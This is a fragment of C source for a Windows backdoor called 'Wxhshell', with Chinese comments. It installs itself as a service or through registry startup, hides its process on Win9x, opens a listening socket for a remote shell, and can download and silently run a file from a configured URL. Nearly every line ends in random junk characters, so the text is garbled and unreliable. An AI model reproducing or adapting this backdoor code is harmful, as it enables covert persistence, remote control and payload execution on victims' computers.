PROCNTQSIP NtQueryInformationProcess; Hz8`)cv`
(OB8vTRXP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r6JkoPMh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pXv[]v
%KF:-
w
HANDLE hProcess; h<;[P?z
PROCESS_BASIC_INFORMATION pbi; ap^=CEf
=-LX)|x}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >8fH5
if(NULL == hInst ) return 0; 1omvE9
%zM
>UY_:cW4%m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9M]"%E!s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |"qB2.[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~C'nBV
FH8mK)
if (!NtQueryInformationProcess) return 0; #<Nvy9
NCnId}BT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hxVM]e[
if(!hProcess) return 0; WN+Jf
_|3TC1N$n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ACO4u<M)
|ozoc"'
CloseHandle(hProcess); _M[[vXH
zL'IN)7MU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %D(prA_w
if(hProcess==NULL) return 0; ZT8Ji?_n
7/_ VE
HMODULE hMod; \t# 9zn>
char procName[255]; |.O!zRm
unsigned long cbNeeded; h5rP]dbhXU
arS'th:j
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BddECY,z
NcBe|qxQ
CloseHandle(hProcess); ^FM9} t/U,
yI.H4Dl<
if(strstr(procName,"services")) return 1; // 以服务启动 &17,]# 3
KV}U{s+U8
return 0; // 注册表启动 iWM7,=1+
} c4>sE[]
.xkV#ol
// 主模块 #r.` V!=
int StartWxhshell(LPSTR lpCmdLine) #oJbrh9J6
{ _~ZQ b
SOCKET wsl; xPMyG);
BOOL val=TRUE; BX(d"z b<
int port=0; ?ZHE8
struct sockaddr_in door; ?h )3S7
I49l2>
if(wscfg.ws_autoins) Install(); {L4>2rF
t 9n
port=atoi(lpCmdLine); ]9&q'7*L
`3y!XET
if(port<=0) port=wscfg.ws_port; _8b]o~[Z+
{IPn\Bka
WSADATA data; ;q,)NAr&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bq3fiT9
BQ9`DYI b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
n22hVw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xcZ%,7
door.sin_family = AF_INET; M&djw`B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); s>@#9psm
door.sin_port = htons(port); 2Cd
--W+=
6"Lsui??
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~26s7S}
closesocket(wsl); %rDmW?T
return 1; AIl$qPKj&
} oIvnF:c
lii]4k+z
if(listen(wsl,2) == INVALID_SOCKET) { A2|o=mOH
closesocket(wsl); ))IgB).3M
return 1; 7t-*L}~WA
} `@$"L/AJ
Wxhshell(wsl); B}q
WSACleanup(); -[=AlqL
MeI2i
return 0; &@W4^-9
827)n[#%|
} =EcIXDzC>
1x\VdT
// 以NT服务方式启动 !
[|vx!p
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cCh0?g7nV
{ J[<pZ
[
DWORD status = 0; QypiF*fSU
DWORD specificError = 0xfffffff; *{.&R9#7U'
s0)qlm*
serviceStatus.dwServiceType = SERVICE_WIN32; W7*_ T]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^3WIl]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WAwfL?
serviceStatus.dwWin32ExitCode = 0; 9*=@/1
serviceStatus.dwServiceSpecificExitCode = 0; D]pK=247
serviceStatus.dwCheckPoint = 0; s-GleX<
serviceStatus.dwWaitHint = 0; *>GIk`!wM
s3Krob`C5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r%y;8$/-
if (hServiceStatusHandle==0) return; mo|PrLV
4>$
;gH
status = GetLastError(); ^p"4)6p-W
if (status!=NO_ERROR) KkdG.c'
{ uP%axys
serviceStatus.dwCurrentState = SERVICE_STOPPED; R(2HYZ
serviceStatus.dwCheckPoint = 0; iM?I
/\
serviceStatus.dwWaitHint = 0; 2H?I'<NoC
serviceStatus.dwWin32ExitCode = status; Bbl)3$`,
serviceStatus.dwServiceSpecificExitCode = specificError; O^X[9vrW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m~Y'$3w
return; ' 1P=^
} xm}q6>jRV
vbRrk($`
serviceStatus.dwCurrentState = SERVICE_RUNNING; (>rS
_#^
serviceStatus.dwCheckPoint = 0; wRXn9
serviceStatus.dwWaitHint = 0; t<!+b@l5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5W[3_P+
} IqhICC1V-
7>PF ~=
// 处理NT服务事件,比如:启动、停止 4f4 i1i:
VOID WINAPI NTServiceHandler(DWORD fdwControl) O1x0[sy
{ aCU7w5
switch(fdwControl) -5V)q.Og
{ e;A^.\SP
case SERVICE_CONTROL_STOP: ;Cr_NP[8|j
serviceStatus.dwWin32ExitCode = 0; cg(QjH"
serviceStatus.dwCurrentState = SERVICE_STOPPED; (
}]37
serviceStatus.dwCheckPoint = 0; #*yM2H"7,;
serviceStatus.dwWaitHint = 0; ASzzBR;?_
{ ^8?j~&u$F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ="3a%\
} (orrX Ez
return; |5oKq'(b
case SERVICE_CONTROL_PAUSE: {yvb$ND|j{
serviceStatus.dwCurrentState = SERVICE_PAUSED; Y!++CMzU
break; Y<p zy8z
case SERVICE_CONTROL_CONTINUE: pu/m8
serviceStatus.dwCurrentState = SERVICE_RUNNING; WF ?/GN
break; M1AZ}bc0]
case SERVICE_CONTROL_INTERROGATE: :DZLjC
break; ,}9f(`
}; 0Jm]f/iZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tjnt(5 g
} hAV2F#
c;c:Ea5
// 标准应用程序主函数 P$p@5 hl
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D^66p8t
{ 5TXg;v#Z
KY4d+~2
// 获取操作系统版本 _MM
OsIsNt=GetOsVer(); PHQ{-b?4t
GetModuleFileName(NULL,ExeFile,MAX_PATH); $.oOG"u0]
K#GXpj
// 从命令行安装 |7rR99
if(strpbrk(lpCmdLine,"iI")) Install(); P['X<Xt8
O24Jj\"
// 下载执行文件 b7,
if(wscfg.ws_downexe) { (bg}an
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a`7%A H)
WinExec(wscfg.ws_filenam,SW_HIDE); OOCQsoN
} N=>- Q)
Q,zC_
if(!OsIsNt) { r#LnDseW
// 如果时win9x,隐藏进程并且设置为注册表启动 HzP.aw4
HideProc(); 90Xt_$_}s
StartWxhshell(lpCmdLine); CdX`PQ
} B }6Kd
else ~_ *H)|
if(StartFromService()) 9aT L22U?
// 以服务方式启动 F|ETug
n
StartServiceCtrlDispatcher(DispatchTable); FQ+8J 7
else W;^N8ap%
// 普通方式启动 HDyQzCG,
StartWxhshell(lpCmdLine); Q2*/`L}m\
?sV[MsOsC
return 0; {J{1`@
}